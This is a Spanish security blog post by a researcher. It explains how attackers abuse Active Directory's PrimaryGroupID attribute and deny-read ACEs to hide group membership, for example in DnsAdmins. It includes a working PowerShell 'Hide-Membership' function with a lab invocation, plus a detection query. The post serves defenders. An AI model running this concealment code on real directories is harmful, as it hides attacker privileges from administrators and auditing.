Yuval Gordon Investigador de seguridad | Microsoft

Los sistemas de identidad -especialmente Active Directory, que es el principal almacén de identidades de la mayoría de las empresas- sufren constantes ataques de los ciberdelincuentes porque son la puerta de entrada a los sistemas de información críticos de una organización, incluidos los valiosos datos de los clientes.

Aquí exploraremos una táctica poco conocida de la Lista de Control de Acceso Discrecional (DACL) que los atacantes pueden utilizar para ocultar la pertenencia a un grupo y posiblemente evadir la detección. Utilizando el atributo ID de grupo principal y una entrada de control de acceso (ACE) específica, puede ocultar la pertenencia a un grupo del que ya es miembro, sin tener ningún permiso sobre el grupo. Este genial truco no puede funcionar en miembros de grupos protegidos como Administradores de Dominio, pero puede funcionar en miembros de grupos normales como DnsAdmins, que puede ser usado para escalar a Administradores de Dominio.

Lecturas relacionadas

Cómo gestiona Active Directory la pertenencia normal a un grupo

Para entender completamente lo que esta técnica está añadiendo, primero debemos tener un conocimiento básico de cómo las membresías de grupo son manejadas por Active Directory. Cada controlador de dominio en un dominio almacena una base de datos de Active Directory (ntds.dit). Dentro de cada ntds.dit hay una columna llamada DNT (Distinguished Name Tag), que es como el ID del objeto en la base de datos. Cuando añadimos un usuario a un grupo, el controlador de dominio añade una fila a una tabla llamada "link_table" que guarda un enlace entre el DNT del miembro (backlink_DNT) y el DNT del grupo (link_DNT).

Bastante simple hasta ahora, pero eso no es todo lo que hay en la pertenencia a un grupo. Hay otro atributo llamado PrimaryGroupID (PGID) que especifica el Identificador Relativo (RID) del grupo primario del usuario, que es la última parte de un SID principal (SID principal = SID de Dominio + RID). Este atributo se establece por defecto en 513 (Usuarios de dominio) para los nuevos usuarios, 515 (Ordenadores de dominio) para los nuevos ordenadores, 516 (Controladores de dominio) para los controladores de dominio y 521 para los Controladores de dominio de sólo lectura. Este atributo también puede establecerse haciendo clic en el botón "Establecer grupo principal" de la pestaña "Miembro de" de la herramienta Usuarios y equipos de Active Directory, si el usuario de destino dispone del acceso de escritura necesario.

Configuración del grupo principal en Active Directory
Establecer el grupo primario

Usando esta herramienta, podemos establecer el grupo primario sólo a un grupo del que el usuario ya es miembro. Lo especial de este atributo -y la razón por la que los administradores de Active Directory deberían conocerlo para protegerse contra el abuso de los adversarios- es que al establecer el ID de grupo primario (PGID), se desactiva el vínculo de pertenencia entre el grupo y el miembro. En otras palabras, el enlace se elimina de la tabla link_table antes mencionada.

"¿Pero cómo puede ser eso, Yuval? Cuando busco miembros del grupo de administradores de dominio, también veo usuarios cuyo grupo principal es el de administradores de dominio". Gran pregunta, lector.

La mayoría de las herramientas que consultan la pertenencia a un grupo preguntan dos cosas. Imaginemos que queremos obtener todos los miembros del grupo Domain Admins:

  1. La herramienta consultará el atributo member, lo que hará que el DC compruebe la tabla link_table y devuelva los objetos que tienen un enlace member con el grupo Domain Admins.
  2. La herramienta buscará cualquier objeto que tenga el valor 512 (RID de Domain Admins) en el atributo PrimaryGroupID.

Por qué es necesario supervisar el uso del ID de grupo primario

Usando Primary Group ID, haces que la pertenencia a uno de los grupos se escriba dentro de un atributo en el lado del miembro. Para entender mejor lo que se puede conseguir con esta acción, veámoslo desde la perspectiva de un atacante.

Imagine que desea ocultar la pertenencia de un usuario a uno de sus grupos. Con una membresía normal, podrías simplemente especificar una entrada de control de acceso (ACE) de Active Directory para denegar la entrada a todo el mundo en "leer membresía de grupo". Pero ese enfoque hará que la pertenencia del usuario esté casi vacía (el grupo primario seguirá apareciendo), lo que podría parecer sospechoso. Además, con este enfoque has ocultado la pertenencia sólo desde el lado del miembro y no desde el lado del grupo. Así que si alguien intenta leer uno de los miembros del grupo, el usuario seguirá apareciendo allí.

Aquí es donde entra en juego el PGID: Especificando el grupo primario, puedes hacer que la membresía sea listada sólo del lado de los miembros. Ahora bien, si añade una ACE para denegar a todo el mundo la lectura de PGID en el objeto, una de las membresías del grupo estará oculta, tanto desde el lado de los miembros como desde el lado del grupo.

Cómo pueden utilizar los atacantes el ID de grupo primario para ocultar usuarios malintencionados

Usando una simple función de PowerShell, podrías ocultar el usuario "haxer" del grupo "atacantes", cambiando el PGID al RID del grupo "atacantes", luego agregando un deny-read en PGID.

Afiliación del usuario
Afiliación del usuario

The primary group now shows <None>. Odd, but still might go unnoticed.

Pertenencia a Active Directory desde el lado del grupo
Afiliación por parte del grupo

El siguiente código se puede utilizar para ocultar la pertenencia a un grupo específico del que el usuario ya es miembro, si el usuario en ejecución tiene DACL de escritura (permisos de modificación) sobre el usuario objetivo. Por ejemplo, para ocultarme a mi mismo (haxer) del grupo de atacantes del que ya soy miembro (RID 2607), utilicé la función como se muestra arriba. Puse la bandera "AddWritePGIDToCurrent" a true porque no tenía los permisos requeridos-tenía solamente el permiso WriteDACL.

function Hide-Membership {
  param (
    [parameter(Mandatory = $true)]
    [string]$TargetDN,
             
    [parameter(Mandatory = $true)]
    [int]$RID,

    [parameter(Mandatory = $false)]
    [bool]$AddWritePGIDToCurrent = $false
  )

  $target = [ADSI]"LDAP://$TargetDN"
  $identityReference = (New-Object System.Security.Principal.NTAccount("everyone")).Translate([System.Security.Principal.SecurityIdentifier])
  $guid = New-Object Guid "bf967a00-0de6-11d0-a285-00aa003049e2" # Guid of primaryGroupID attribute

  $target.PsBase.Options.SecurityMasks = "Dacl"

  if ($AddWritePGIDToCurrent) {
    $identityReferenceCurrentUser = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).User
    $aceAllow = New-Object System.DirectoryServices.ActiveDirectoryAccessRule @($identityReferenceCurrentUser,"WriteProperty","Allow",$Guid)
    $target.PsBase.ObjectSecurity.AddAccessRule($aceAllow)
    $target.CommitChanges()
  }

  $aceDeny = New-Object System.DirectoryServices.ActiveDirectoryAccessRule @($identityReference,"ReadProperty","Deny",$Guid)

  $target.PsBase.ObjectSecurity.AddAccessRule($aceDeny)
  $target.CommitChanges()
  $target.primarygroupid = $RID 
  $target.CommitChanges()
}
Hide-Membership -TargetDN "CN=haxer,CN=Users,DC=f047-d01,DC=lab" -RID 2607 -AddWritePGIDToCurrent $true

Tenga en cuenta que esta técnica no funcionará con los miembros de cualquier grupo que esté protegido por el proceso SDPROP y AdminSDHolder, ya que estamos confiando en DACL, que en ese caso simplemente se revertirá a la DACL de AdminSDHolder cada hora más o menos.

Detección del uso malintencionado del ID de grupo primario para ocultar la pertenencia al mismo

Puedes detectar el uso de PGID para ocultar la pertenencia monitorizando ACEs configuradas para denegar en lectura para esta propiedad. Pero esto puede ser una tarea difícil sin las herramientas o sistemas adecuados.

Una opción es usar la siguiente línea de comandos periódicamente para buscar cualquier usuario con un PGID que no pueda leer. No conozco ninguna razón legítima para que un usuario tenga un PGID inexistente o ilegible, pero puede ocurrir, así que puede que veas algunos falsos positivos.

Get-ADUser -Filter {-not(primaryGroupID -like "*")}

Una forma más fácil de controlar el uso malintencionado de esta técnica: Semperis Directory Services Protector incluye un indicador que monitoriza y alerta sobre usuarios con la configuración "Usuarios y ordenadores sin PGID legible".

Proteger Active Directory del continuo aluvión de ataques puede ser todo un reto. Pero si supervisa continuamente su entorno para detectar las numerosas formas en que los atacantes pueden explotar determinadas configuraciones, podrá identificar y corregir las intrusiones antes de que se conviertan en infracciones a gran escala.